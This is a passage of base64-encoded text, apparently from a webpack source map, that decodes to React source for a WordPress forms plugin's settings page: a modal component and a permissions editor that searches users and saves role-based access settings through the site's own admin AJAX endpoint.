7IGBtb2RhbC0keyB0aGlzLnByb3BzLm1vZGFsLm1vZGFsUHJvcHMuaWQgfWAgfVxuXHRcdFx0XHRcdFx0Y2xhc3NOYW1lPXsgYCR7IG92ZXJsYXlDbGFzcy5qb2luKCAnICcgKSB9YCB9XG5cdFx0XHRcdFx0XHRhcmlhLW1vZGFsPVwidHJ1ZVwiXG5cdFx0XHRcdFx0XHRhcmlhLWxpdmU9XCJwb2xpdGVcIlxuXHRcdFx0XHRcdFx0eyAuLi4oIHRoaXMucHJvcHMubW9kYWwubW9kYWxQcm9wcy5sYWJlbGxlZEJ5ICYmXG5cdFx0XHRcdFx0XHRcdFx0eyAnYXJpYS1sYWJlbGxlZGJ5JzogdGhpcy5wcm9wcy5tb2RhbC5tb2RhbFByb3BzLmxhYmVsbGVkQnkgfVxuXHRcdFx0XHRcdFx0KSB9XG5cdFx0XHRcdFx0XHR7IC4uLiggdGhpcy5wcm9wcy5tb2RhbC5tb2RhbFByb3BzLmRlc2NyaWJlZEJ5ICYmXG5cdFx0XHRcdFx0XHRcdFx0eyAnYXJpYS1kZXNjcmliZWRieSc6IHRoaXMucHJvcHMubW9kYWwubW9kYWxQcm9wcy5kZXNjcmliZWRCeSB9XG5cdFx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHRcdHJlZj17IGVsID0+ICggdGhpcy5lbCA9IGVsICkgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveFwiIHN0eWxlPXsgeyBtYXJnaW5Cb3R0b206IDAgfSB9PlxuXHRcdFx0XHRcdFx0XHQ8U3BlY2lmaWVkTW9kYWwgeyAuLi50aGlzLnByb3BzIH0gLz5cblx0XHRcdFx0XHRcdDwvZGl2PlxuXHRcdFx0XHRcdDwvZGl2PlxuXG5cdFx0XHRcdFx0ey8qIDwvRm9jdXNUcmFwPiAqL31cblxuXHRcdFx0XHQ8L2Rpdj5cblxuXHRcdFx0PC9kaXY+XG5cdFx0KTtcblx0fVxufVxuXG5jb25zdCBEaXNwbGFjZWRNb2RhbCA9IGRpc3BsYWNlKCBNb2RhbCApO1xuXG5EaXNwbGFjZWRNb2RhbC5yZW5kZXJUbyA9IGZ1bmN0aW9uKCBpbnB1dCApIHtcblx0cmV0dXJuIGRpc3BsYWNlKCBNb2RhbCwgeyByZW5kZXJUbzogaW5wdXQgfSApO1xufTtcblxubW9kdWxlLmV4cG9ydHMgPSBEaXNwbGFjZWRNb2RhbDtcblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy1wYWdlL2NvbXBvbmVudHMvbW9kYWwuanMiLCJpbXBvcnQgcGVybWlzc2lvbnNNb2RhbCBmcm9tICcuL3Blcm1pc3Npb25zJztcbmltcG9ydCBwZXJtaXNzaW9uRGVsZXRlTW9kYWwgZnJvbSAnLi9wZXJtaXNzaW9uLWRlbGV0ZSc7XG5cbmNvbnN0IG1vZGFsVHlwZXMgPSB7XG5cdHBlcm1pc3Npb25zTW9kYWwsXG5cdHBlcm1pc3Npb25EZWxldGVNb2RhbCxcbn07XG5cbmV4cG9ydCBkZWZhdWx0IG1vZGFsVHlwZXM7XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MtcGFnZS9jb21wb25lbnRzL21vZGFscy9pbmRleC5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgYXhpb3MgZnJvbSAnYXhpb3MnO1xuaW1wb3J0IHFzIGZyb20gJ3FzJztcbmltcG9ydCB7IHJhbmROdW1iZXIsIGlzRW1haWxXcCwgdHJhbnNsYXRlLCBpc1RydWUgfSBmcm9tICcuLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBOb3RpZmljYXRpb24gZnJvbSAnLi4vLi4vLi4vbm90aWZpY2F0aW9ucyc7XG5pbXBvcnQgTW9kYWxIZWFkZXIgZnJvbSAnLi4vLi4vLi4vZm9ybS9jb21wb25lbnRzL21vZGFscy9wYXJ0aWFscy9oZWFkZXInO1xuaW1wb3J0IE1vZGFsVGl0bGUgZnJvbSAnLi4vLi4vLi4vZm9ybS9jb21wb25lbnRzL21vZGFscy9wYXJ0aWFscy90aXRsZSc7XG5pbXBvcnQgTW9kYWxGb290ZXIgZnJvbSAnLi4vLi4vLi4vZm9ybS9jb21wb25lbnRzL21vZGFscy9wYXJ0aWFscy9mb290ZXInO1xuaW1wb3J0IE1vZGFsQ2xvc2UgZnJvbSAnLi4vLi4vLi4vZm9ybS9jb21wb25lbnRzL21vZGFscy9wYXJ0aWFscy9jbG9zZSc7XG5pbXBvcnQgUmFkaW9UYWJzIGZyb20gJy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy9yYWRpby10YWJzJztcbmltcG9ydCBDb250YWluZXIgZnJvbSAnLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy9jb250YWluZXInO1xuaW1wb3J0IFN1aVNlbGVjdCBmcm9tICcuLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvc3VpLXNlbGVjdCc7XG5pbXBvcnQgU3VpVGFncyBmcm9tICcuLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvc3VpLXRhZ3MnO1xuaW1wb3J0IENoZWNrYm94IGZyb20gJy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy9jaGVja2JveCc7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIHBlcm1pc3Npb25zTW9kYWwgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cblx0XHR0aGlzLnNhdmVCdG4gPSBSZWFjdC5jcmVhdGVSZWYoKTtcblx0XHR0aGlzLmNsb3NlTW9kYWwgPSB0aGlzLnByb3BzLm1vZGFsLm1vZGFsUHJvcHMuY2xvc2VNb2RhbC5iaW5kKCB0aGlzICk7XG5cdFx0dGhpcy51cGRhdGVQcm9wZXJ0eSA9IHRoaXMudXBkYXRlUHJvcGVydHkuYmluZCggdGhpcyApO1xuXHRcdHRoaXMuc2F2ZVBlcm1pc3Npb24gPSB0aGlzLnNhdmVQZXJtaXNzaW9uLmJpbmQoIHRoaXMgKTtcblx0XHR0aGlzLnZhbGlkYXRvciA9IHRoaXMudmFsaWRhdG9yLmJpbmQoIHRoaXMgKTtcblx0XHR0aGlzLnNob3dOb3RpZmljYXRpb24gPSB0aGlzLnNob3dOb3RpZmljYXRpb24uYmluZCggdGhpcyApO1xuXG5cdFx0dGhpcy51cGRhdGVkID0gZmFsc2U7XG5cdFx0dGhpcy5tb2RhbERhdGEgPSBPYmplY3QuYXNzaWduKCB7fSwgdGhpcy5wcm9wcy5tb2RhbC5tb2RhbFByb3BzICk7XG5cdFx0dGhpcy51c2VyUm9sZXMgPSB0aGlzLmdldFVzZXJSb2xlcyggT2JqZWN0LmFzc2lnbigge30sIGZvcm1pbmF0b3JEYXRhLnVzZXJSb2xlcyApICk7XG5cdFx0dGhpcy5kZWZhdWx0Um9sZSA9IE9iamVjdC5rZXlzKCB0aGlzLnVzZXJSb2xlcyApWzBdO1xuXG5cdFx0Y29uc3QgZGVmYXVsdFR5cGUgPSBfLmlzRW1wdHkoIHRoaXMudXNlclJvbGVzICkgPyAnc3BlY2lmaWMnIDogJ3JvbGUnO1xuXG5cdFx0Ly8gRm9yIGFsbCBhZGRpdGlvbmFsIGFjY2VzcyBpbiB0aGUgZnV0dXJlLFxuXHRcdC8vIG1ha2Ugc3VyZSB0byBhZGQgaXQgYWxzbyBpbiB0aGUgdmFsaWRhdG9yIGluIHJlbmRlci5cblx0XHR0aGlzLnN0YXRlID0ge1xuXHRcdFx0cGlkOiAgICAgICAgICAgICB0aGlzLm1vZGFsRGF0YS5waWQgfHwgJycsXG5cdFx0XHRwZXJtaXNzaW9uX3R5cGU6IHRoaXMubW9kYWxEYXRhLnBlcm1pc3Npb25fdHlwZSB8fCBkZWZhdWx0VHlwZSxcblx0XHRcdHVzZXJfcm9sZTogICAgICAgdGhpcy5tb2RhbERhdGEudXNlcl9yb2xlIHx8IHRoaXMuZGVmYXVsdFJvbGUsXG5cdFx0XHRleGNsdWRlX3VzZXJzOiAgIHRoaXMubW9kYWxEYXRhLmV4Y2x1ZGVfdXNlcnMgfHwgW10sXG5cdFx0XHRzcGVjaWZpY191c2VyOiAgIHRoaXMubW9kYWxEYXRhLnNwZWNpZmljX3VzZXIgfHwgW10sXG5cdFx0XHRhdmF0YXI6ICAgICAgICAgIHRoaXMubW9kYWxEYXRhLmF2YXRhciB8fCAnJyxcblx0XHRcdHVzZXJfaW5mbzogICB0aGlzLm1vZGFsRGF0YS51c2VyX2luZm8gfHwgW10sXG5cdFx0XHRtYW5hZ2VfZm9ybWluYXRvcl9tb2R1bGVzOiAgICAgIHRoaXMubW9kYWxEYXRhLm1hbmFnZV9mb3JtaW5hdG9yX21vZHVsZXMgfHwgZmFsc2UsXG5cdFx0XHRtYW5hZ2VfZm9ybWluYXRvcl9zdWJtaXNzaW9uczogIHRoaXMubW9kYWxEYXRhLm1hbmFnZV9mb3JtaW5hdG9yX3N1Ym1pc3Npb25zIHx8IGZhbHNlLFxuXHRcdFx0bWFuYWdlX2Zvcm1pbmF0b3JfYWRkb25zOiAgICAgICB0aGlzLm1vZGFsRGF0YS5tYW5hZ2VfZm9ybWluYXRvcl9hZGRvbnMgfHwgZmFsc2UsXG5cdFx0XHRtYW5hZ2VfZm9ybWluYXRvcl9pbnRlZ3JhdGlvbnM6IHRoaXMubW9kYWxEYXRhLm1hbmFnZV9mb3JtaW5hdG9yX2ludGVncmF0aW9ucyB8fCBmYWxzZSxcblx0XHRcdG1hbmFnZV9mb3JtaW5hdG9yX3JlcG9ydHM6ICAgICAgdGhpcy5tb2RhbERhdGEubWFuYWdlX2Zvcm1pbmF0b3JfcmVwb3J0cyB8fCBmYWxzZSxcblx0XHRcdG1hbmFnZV9mb3JtaW5hdG9yX3NldHRpbmdzOiAgICAgdGhpcy5tb2RhbERhdGEubWFuYWdlX2Zvcm1pbmF0b3Jfc2V0dGluZ3MgfHwgZmFsc2UsXG5cdFx0XHRjdXJyZW50X3VzZXI6IHRoaXMubW9kYWxEYXRhLmN1cnJlbnRVc2VyIHx8IFtdXG5cdFx0fVxuXHR9XG5cblx0Y29tcG9uZW50RGlkTW91bnQoKSB7XG5cdFx0dGhpcy4kc2F2ZUJ0biA9IGpRdWVyeSggdGhpcy5zYXZlQnRuLmN1cnJlbnQgKTtcblx0fVxuXG5cdGNvbXBvbmVudERpZFVwZGF0ZSggcHJldlByb3BzLCBwcmV2U3RhdGUgKSB7XG5cdFx0aWYgKCBKU09OLnN0cmluZ2lmeSggdGhpcy5zdGF0ZSApICE9PSBKU09OLnN0cmluZ2lmeSggcHJldlN0YXRlICkgKSB7XG5cdFx0XHR0aGlzLnVwZGF0ZWQgPSB0cnVlO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHR0aGlzLnVwZGF0ZWQgPSBmYWxzZTtcblx0XHR9XG5cdH1cblxuXHRjb21wb25lbnRXaWxsVW5tb3VudCgpIHtcblx0XHR0aGlzLiRzYXZlQnRuLm9mZjtcblx0fVxuXG5cdC8vIFJlbW92ZSB1c2VyIHJvbGVzIHRoYXQgd2VyZSBhbHJlYWR5IHNldC5cblx0Z2V0VXNlclJvbGVzKCB1c2VyUm9sZXMgKSB7XG5cdFx0Y29uc3Qgc2VsZiA9IHRoaXM7XG5cblx0XHQvLyBSZW1vdmUgYWRtaW4gZmlyc3QuXG5cdFx0ZGVsZXRlIHVzZXJSb2xlc1snYWRtaW5pc3RyYXRvciddO1xuXG5cdFx0Xy5mb3JFYWNoKCB1c2VyUm9sZXMsIGZ1bmN0aW9uKCB2YWwsIHJvbGUgKSB7XG5cdFx0XHRpZiAoXG5cdFx0XHRcdCEgXy5pc1VuZGVmaW5lZChcblx0XHRcdFx0XHRfLmZpbmQoIHNlbGYucHJvcHMucGVybWlzc2lvbnMsIGZ1bmN0aW9uKCBwICkgeyByZXR1cm4gcC51c2VyX3JvbGUgPT09IHJvbGU7IH0gKVxuXHRcdFx0XHQpXG5cdFx0XHQpIHtcblx0XHRcdFx0aWYgKFxuXHRcdFx0XHRcdCggISBzZWxmLm1vZGFsRGF0YS5uZXcgJiYgcm9sZSAhPT0gc2VsZi5tb2RhbERhdGEudXNlcl9yb2xlICkgfHxcblx0XHRcdFx0XHRzZWxmLm1vZGFsRGF0YS5uZXdcblx0XHRcdFx0KSB7XG5cdFx0XHRcdFx0ZGVsZXRlIHVzZXJSb2xlc1sgcm9sZSBdO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fSApO1xuXG5cdFx0cmV0dXJuIHVzZXJSb2xlcztcblx0fVxuXG5cdC8vIE1ha2UgaXQgcG9zc2libGUgdG8gdXBkYXRlIHN0YXRlIGZyb20gY2hpbGQgY29tcG9uZW50c1xuXHR1cGRhdGVQcm9wZXJ0eSggc2x1ZywgdmFsdWUgKSB7XG5cdFx0dGhpcy5zZXRTdGF0ZSggeyBbIHNsdWcgXTogdmFsdWUgfSApO1xuXHR9XG5cblx0Z2V0VXNlclRhZ3NPcHRpb25zKCAkcHJvcGVydHkgKSB7XG5cdFx0Y29uc3Qgc2VhcmNoRGF0YSA9ICggcGFyYW1zICkgPT4ge1xuXHRcdFx0bGV0IGFyZ3MgPSB7XG5cdFx0XHRcdGFjdGlvbjogJ2Zvcm1pbmF0b3JfYnVpbGRlcl9zZWFyY2hfZW1haWxzJyxcblx0XHRcdFx0X3dwbm9uY2U6IGZvcm1pbmF0b3JEYXRhLnNlYXJjaE5vbmNlLFxuXHRcdFx0XHRleGNsdWRlX2FkbWluczogdHJ1ZSxcblx0XHRcdFx0cTogcGFyYW1zLnRlcm0sXG5cdFx0XHRcdHBlcm1pc3Npb246ICdmb3JtaW5hdG9yLXNldHRpbmdzJyxcblx0XHRcdFx0cGlkOiB0aGlzLnN0YXRlLnBpZCxcblx0XHRcdFx0cHJvcGVydHk6ICRwcm9wZXJ0eSxcblx0XHRcdFx0aXNfcGVybWlzc2lvbjogdHJ1ZVxuXHRcdFx0fTtcblxuXHRcdFx0Ly8gU2VhcmNoIHVzZXJzIGZyb20gY2hvc2VuIHJvbGUuXG5cdFx0XHRpZiAoICdyb2xlJyA9PT0gdGhpcy5zdGF0ZS5wZXJtaXNzaW9uX3R5cGUgKSB7XG5cdFx0XHRcdGFyZ3Mucm9sZSA9IHRoaXMuc3RhdGUudXNlcl9yb2xlO1xuXHRcdFx0fVxuXG5cdFx0XHRyZXR1cm4gYXJncztcblx0XHR9O1xuXG5cdFx0cmV0dXJuIHtcblx0XHRcdHRhZ3M6IGZhbHNlLFxuXHRcdFx0bWluaW11bUlucHV0TGVuZ3RoOiAxLFxuXHRcdFx0dG9rZW5TZXBhcmF0b3JzOiBbICcsJywgJyAnIF0sXG5cdFx0XHRwbGFjZWhvbGRlcjogdHJhbnNsYXRlKCAnQ2xpY2sgdG8gc2VhcmNoIGEgdXNlcuKApicgKSxcblx0XHRcdGxhbmd1YWdlOiB7XG5cdFx0XHRcdHNlYXJjaGluZzogZnVuY3Rpb24oKSB7XG5cdFx0XHRcdFx0cmV0dXJuIHRyYW5zbGF0ZSggJ1NlYXJjaGluZycgKTtcblx0XHRcdFx0fSxcblx0XHRcdFx0bm9SZXN1bHRzOiBmdW5jdGlvbigpIHtcblx0XHRcdFx0XHRyZXR1cm4gdHJhbnNsYXRlKCAnVXNlciBub3QgZm91bmQnICk7XG5cdFx0XHRcdH0sXG5cdFx0XHR9LFxuXHRcdFx0YWpheDoge1xuXHRcdFx0XHR1cmw6IGZvcm1pbmF0b3JEYXRhLmFqYXhVcmwsXG5cdFx0XHRcdHR5cGU6ICdQT1NUJyxcblx0XHRcdFx0ZGVsYXk6IDE1MCxcblx0XHRcdFx0ZGF0YTogZnVuY3Rpb24oIHBhcmFtcyApIHtcblx0XHRcdFx0XHRyZXR1cm4gc2VhcmNoRGF0YSggcGFyYW1zICk7XG5cdFx0XHRcdH0sXG5cdFx0XHRcdHByb2Nlc3NSZXN1bHRzOiBmdW5jdGlvbiggZGF0YSApIHtcblx0XHRcdFx0XHRyZXR1cm4ge1xuXHRcdFx0XHRcdFx0cmVzdWx0czogZGF0YS5kYXRhLFxuXHRcdFx0XHRcdH07XG5cdFx0XHRcdH0sXG5cdFx0XHRcdGNhY2hlOiB0cnVlLFxuXHRcdFx0fSxcblx0XHRcdHRlbXBsYXRlUmVzdWx0OiBmdW5jdGlvbiggcmVzdWx0ICkge1xuXHRcdFx0XHRpZiAoXG5cdFx0XHRcdFx0ISBfLmlzVW5kZWZpbmVkKCByZXN1bHQuaWQgKSAmJlxuXHRcdFx0XHRcdCEgXy5pc1VuZGVmaW5lZCggcmVzdWx0LnRleHQgKSAmJlxuXHRcdFx0XHRcdCEgXy5pc1VuZGVmaW5lZCggcmVzdWx0LmRpc3BsYXlfbmFtZSApXG5cdFx0XHRcdCkge1xuXHRcdFx0XHRcdHJldHVybiBqUXVlcnkoXG5cdFx0XHRcdFx0XHQnPHNwYW4+JyArXG5cdFx0XHRcdFx0XHRyZXN1bHQuZGlzcGxheV9uYW1lICtcblx0XHRcdFx0XHRcdCcgJyArXG5cdFx0XHRcdFx0XHQnKCcgK1xuXHRcdFx0XHRcdFx0cmVzdWx0LnRleHQgK1xuXHRcdFx0XHRcdFx0JyknICtcblx0XHRcdFx0XHRcdCc8L3NwYW4+J1xuXHRcdFx0XHRcdCk7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHRyZXR1cm4gcmVzdWx0LnRleHQ7XG5cdFx0XHR9LFxuXHRcdFx0Y3JlYXRlVGFnOiBmdW5jdGlvbiggcGFyYW1zICkge1xuXHRcdFx0XHRjb25zdCB0ZXJtID0gcGFyYW1zLnRlcm0udHJpbSgpO1xuXHRcdFx0XHRpZiAoICEgaXNFbWFpbFdwKCB0ZXJtICkgKSB7XG5cdFx0XHRcdFx0cmV0dXJuIG51bGw7XG5cdFx0XHRcdH1cblx0XHRcdFx0cmV0dXJuIHtcblx0XHRcdFx0XHRpZDogdGVybSxcblx0XHRcdFx0XHR0ZXh0OiB0ZXJtLFxuXHRcdFx0XHR9O1xuXHRcdFx0fSxcblx0XHR9O1xuXHR9XG5cblx0c2hvd05vdGlmaWNhdGlvbiggdHlwZSwgbXNnICkge1xuXHRcdGNvbnN0IGN1c3RvbSA9IG5ldyBOb3RpZmljYXRpb24oIHtcblx0XHRcdHR5cGU6IHR5cGUsXG5cdFx0XHR0ZXh0OiAnZXJyb3InID09PSB0eXBlID9cblx0XHRcdFx0dHJhbnNsYXRlKCAnU29tZXRoaW5nIHdlbnQgd3JvbmcuIFBsZWFzZSB0cnkgYWdhaW4uJyApIDpcblx0XHRcdFx0bXNnLFxuXHRcdH0gKTtcblxuXHRcdGN1c3RvbS5vcGVuKCk7XG5cblx0XHRpZiAoICdlcnJvcicgPT09IHR5cGUgKSB7XG5cdFx0XHRjb25zb2xlLmxvZyggbXNnICk7XG5cdFx0fVxuXG5cdFx0dGhpcy5jbG9zZU1vZGFsKCk7XG5cdH1cblxuXHRzYXZlUGVybWlzc2lvbigpIHtcblx0XHQvLyBJZiBubyB1cGRhdGVzIHdlcmUgbWFkZSwganVzdCBjbG9zZSB0aGUgbW9kYWwuXG5cdFx0aWYgKCAhIGlzVHJ1ZSggdGhpcy5tb2RhbERhdGEubmV3ICkgJiYgISB0aGlzLnVwZGF0ZWQgKSB7XG5cdFx0XHR0aGlzLmNsb3NlTW9kYWwoKTtcblx0XHRcdHJldHVybjtcblx0XHR9XG5cblx0XHQvLyBBcHBseSBvbmxvYWQgY2xhc3MuXG5cdFx0dGhpcy4kc2F2ZUJ0bi5hZGRDbGFzcygnc3VpLWJ1dHRvbi1vbmxvYWQnKTtcblx0XHR0aGlzLiRzYXZlQnRuLnByb3AoICdkaXNhYmxlZCcsIHRydWUgKTtcblxuXHRcdGNvbnN0IHBlcm1pc3Npb24gPSBPYmplY3QuYXNzaWduKCB7fSwgdGhpcy5zdGF0ZSApO1xuXHRcdGxldCBuZXdTdGF0ZTtcblx0XHRsZXQgcGVybWlzc2lvbnNEYXRhID0ge1xuXHRcdFx0YWN0aW9uOiAnZm9ybWluYXRvcl9zYXZlX3Blcm1pc3Npb25zJyxcblx0XHRcdF93cG5vbmNlOiBmb3JtaW5hdG9yRGF0YS5wZXJtaXNzaW9uX25vbmNlLFxuXHRcdH07XG5cblx0XHQvLyBEZWxldGUgdW5uZWNlc3NhcnkgZGF0YS5cblx0XHRpZiAoICdyb2xlJyA9PT0gcGVybWlzc2lvbi5wZXJtaXNzaW9uX3R5cGUgKSB7XG5cdFx0XHRkZWxldGUgcGVybWlzc2lvbi5zcGVjaWZpY191c2VyO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHRkZWxldGUgcGVybWlzc2lvbi51c2VyX3JvbGU7XG5cdFx0XHRkZWxldGUgcGVybWlzc2lvbi5leGNsdWRlX3VzZXJzO1xuXHRcdH1cblxuXHRcdC8vIFdlIGhhdmUgYSBuZXcgcGVybWlzc2lvbiwgaW5zZXJ0IG5ldyBvbmUuXG5cdFx0aWYgKCB0aGlzLm1vZGFsRGF0YS5uZXcgKSB7XG5cdFx0XHRwZXJtaXNzaW9uc0RhdGEubW9kZSA9ICduZXcnO1xuXG5cdFx0XHQvLyBBZGQgcGVybWlzc2lvbiBJRC5cblx0XHRcdHBlcm1pc3Npb24ucGlkID0gJ3BpZC0nICsgcmFuZE51bWJlcigpICsgJy0nICsgcmFuZE51bWJlcigpO1xuXG5cdFx0XHRuZXdTdGF0ZSA9IFtcblx0XHRcdFx0Li4udGhpcy5wcm9wcy5wZXJtaXNzaW9ucyxcblx0XHRcdFx0cGVybWlzc2lvbixcblx0XHRcdF07XG5cblx0XHQvLyBSZXBsYWNlIGVkaXRlZCBwZXJtaXNzaW9uLlxuXHRcdH0gZWxzZSB7XG5cdFx0XHRwZXJtaXNzaW9uc0RhdGEubW9kZSA9ICdlZGl0Jztcblx0XHRcdHBlcm1pc3Npb25zRGF0YS5waWQgPSBwZXJtaXNzaW9uLnBpZDtcblxuXHRcdFx0bmV3U3RhdGUgPSB0aGlzLnByb3BzLnBlcm1pc3Npb25zO1xuXHRcdFx0Y29uc3QgY3VycmVudFBlcm1pc3Npb24gPSBfLmZpbmRJbmRleCggbmV3U3RhdGUsIGZ1bmN0aW9uKCBwICkge1xuXHRcdFx0XHRyZXR1cm4gcC5waWQgPT09IHBlcm1pc3Npb24ucGlkO1xuXHRcdFx0fSApO1xuXG5cdFx0XHRuZXdTdGF0ZS5zcGxpY2UoXG5cdFx0XHRcdGN1cnJlbnRQZXJtaXNzaW9uLFxuXHRcdFx0XHQxLFxuXHRcdFx0XHRwZXJtaXNzaW9uXG5cdFx0XHQpO1xuXHRcdH1cblxuXHRcdHBlcm1pc3Npb25zRGF0YS5wZXJtaXNzaW9ucyA9IEpTT04uc3RyaW5naWZ5KCBuZXdTdGF0ZSApO1xuXG5cdFx0YXhpb3MucG9zdCggZm9ybWluYXRvckRhdGEuYWpheFVybCxcblx0XHRcdHFzLnN0cmluZ2lmeSggcGVybWlzc2lvbnNEYXRhIClcblx0XHQpXG5cdFx0XHQudGhlbiggKCBkYXRhICkgPT4ge1xuXHRcdFx0XHRsZXQgbm90aWZUeXBlLCBub3RpZk1lc3NhZ2U7XG5cblx0XHRcdFx0aWYgKCBkYXRhLmRhdGEuc3VjY2VzcyApIHtcblx0XHRcdFx0XHR0aGlzLnByb3BzLmFjdGlvbnMucGVybWlzc2lvbkFjdGlvbnMudXBkYXRlUGVybWlzc2lvbnMoIGRhdGEuZGF0YS5kYXRhICk7XG5cblx0XHRcdFx0XHRub3RpZlR5cGUgPSAnc3VjY2Vzcyc7XG5cdFx0XHRcdFx0bm90aWZNZXNzYWdlID0gdGhpcy5tb2RhbERhdGEubmV3ID9cblx0XHRcdFx0XHRcdHRyYW5zbGF0ZSggJ05ldyBwZXJtaXNzaW9uIGFkZGVkIHN1Y2Nlc3NmdWxseSEnICkgOlxuXHRcdFx0XHRcdFx0dHJhbnNsYXRlKCAnUGVybWlzc2lvbiB1cGRhdGVkIHN1Y2Nlc3NmdWxseSEnICk7XG5cdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0bm90aWZUeXBlID0gJ2Vycm9yJztcblx0XHRcdFx0XHRub3RpZk1lc3NhZ2UgPSBkYXRhLmRhdGE7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHR0aGlzLnNob3dOb3RpZmljYXRpb24oIG5vdGlmVHlwZSwgbm90aWZNZXNzYWdlICk7XG5cdFx0XHR9IClcblx0XHRcdC5jYXRjaCggKCBlcnIgKSA9PiB7XG5cdFx0XHRcdHRoaXMuc2hvd05vdGlmaWNhdGlvbiggJ2Vycm9yJywgZXJyICk7XG5cdFx0XHR9IClcblx0XHRcdC50aGVuKCAoKSA9PiB7XG5cdFx0XHRcdC8vIENsb3NlIG1vZGFsXG5cdFx0XHRcdHRoaXMuY2xvc2VNb2RhbCgpO1xuXHRcdFx0fSApO1xuXG5cdH1cblxuXHQvLyBWYWxpZGF0ZSBtb2RhbC5cblx0dmFsaWRhdG9yKCkge1xuXHRcdGNvbnN0IHN0YXRlID0gdGhpcy5zdGF0ZTtcblx0XHRsZXQgaXNWYWxpZCA9IGZhbHNlLFxuXHRcdFx0dmFsaWRhdGlvbkVycm9yID0gW10sXG5cdFx0XHRpc1R5cGVWYWxpZCA9IGZhbHNlLFxuXHRcdFx0aXNBY2Nlc3NWYWxpZCA9IGZhbHNlXG5cdFx0XHQ7XG5cblx0XHQvLyBDaGVjayBpZiByb2xlIG9yIHVzZXIgaXMgc2VsZWN0ZWQuXG5cdFx0aWYgKFxuXHRcdFx0J3NwZWNpZmljJyA9PT0gc3RhdGUucGVybWlzc2lvbl90eXBlICYmXG5cdFx0XHRfLmlzRW1wdHkoIHN0YXRlLnNwZWNpZmljX3VzZXIgKVxuXHRcdCkge1xuXG5cdFx0XHRpc1R5cGVWYWxpZCA9IGZhbHNlO1xuXHRcdFx0dmFsaWRhdGlvbkVycm9yLnB1c2goIHRyYW5zbGF0ZSggJ25vIHVzZXIgc2VsZWN0ZWQnICkgKTtcblxuXHRcdH0gZWxzZSBpZiAoXG5cdFx0XHQncm9sZScgPT09IHN0YXRlLnBlcm1pc3Npb25fdHlwZSAmJlxuXHRcdFx0Xy5pc0VtcHR5KCBzdGF0ZS51c2VyX3JvbGUgKVxuXHRcdCkge1xuXG5cdFx0XHRpc1R5cGVWYWxpZCA9IGZhbHNlO1xuXHRcdFx0dmFsaWRhdGlvbkVycm9yLnB1c2goIHRyYW5zbGF0ZSggJ25vIHJvbGUgc2VsZWN0ZWQnICkgKTtcblxuXHRcdH0gZWxzZSB7XG5cdFx0XHRpc1R5cGVWYWxpZCA9IHRydWU7XG5cdFx0fVxuXG5cdFx0Ly8gQ2hlY2sgaWYgYWxsIGFjY2VzcyBhcmUgdW5jaGVja2VkLlxuXHRcdGlmIChcblx0XHRcdChcblx0XHRcdFx0ISBpc1RydWUoIHN0YXRlLm1hbmFnZV9mb3JtaW5hdG9yX21vZHVsZXMgKSAmJlxuXHRcdFx0XHQhIGlzVHJ1ZSggc3RhdGUubWFuYWdlX2Zvcm1pbmF0b3Jfc3VibWlzc2lvbnMgKSAmJlxuXHRcdFx0XHQhIGlzVHJ1ZSggc3RhdGUubWFuYWdlX2Zvcm1pbmF0b3JfYWRkb25zICkgJiZcblx0XHRcdFx0ISBpc1RydWUoIHN0YXRlLm1hbmFnZV9mb3JtaW5hdG9yX2ludGVncmF0aW9ucyApICYmXG5cdFx0XHRcdCEgaXNUcnVlKCBzdGF0ZS5tYW5hZ2VfZm9ybWluYXRvcl9yZXBvcnRzICkgJiZcblx0XHRcdFx0ISBpc1RydWUoIHN0YXRlLm1hbmFnZV9mb3JtaW5hdG9yX3NldHRpbmdzIClcblx0XHRcdClcblx0XHQpIHtcblx0XHRcdGlzQWNjZXNzVmFsaWQgPSBmYWxzZTtcblx0XHRcdHZhbGlkYXRpb25FcnJvci5wdXNoKCB0cmFuc2xhdGUoICdubyBwZXJtaXNzaW9ucyBjaGVja2VkJyApICk7XG5cdFx0fSBlbHNlIHtcblx0XHRcdGlzQWNjZXNzVmFsaWQgPSB0cnVlO1xuXHRcdH1cblxuXHRcdGlmICggaXNUeXBlVmFsaWQgJiYgaXNBY2Nlc3NWYWxpZCApIHtcblx0XHRcdGlzVmFsaWQgPSB0cnVlO1xuXG5cdFx0XHRpZiAoICEgXy5pc1VuZGVmaW5lZCggdGhpcy4kc2F2ZUJ0biApICkge1xuXHRcdFx0XHR0aGlzLiRzYXZlQnRuLnBhcmVudCggJy5idG4tc2F2ZS13cmFwJyApLnJlbW92ZUNsYXNzKCAnc3VpLXRvb2x0aXAnICk7XG5cdFx0XHRcdHRoaXMuJHNhdmVCdG4ucHJvcCggJ2Rpc2FibGVkJywgZmFsc2UgKTtcblx0XHRcdH1cblx0XHR9IGVsc2Uge1xuXHRcdFx0aXNWYWxpZCA9IGZhbHNlO1xuXHRcdFx0dmFsaWRhdGlvbkVycm9yID0gdmFsaWRhdGlvbkVycm9yLmpvaW4oICcsICcgKTtcblxuXHRcdFx0aWYgKCAhIF8uaXNVbmRlZmluZWQoIHRoaXMuJHNhdmVCdG4gKSApIHtcblx0XHRcdFx0dGhpcy4kc2F2ZUJ0bi5wYXJlbnQoICcuYnRuLXNhdmUtd3JhcCcgKS5hZGRDbGFzcyggJ3N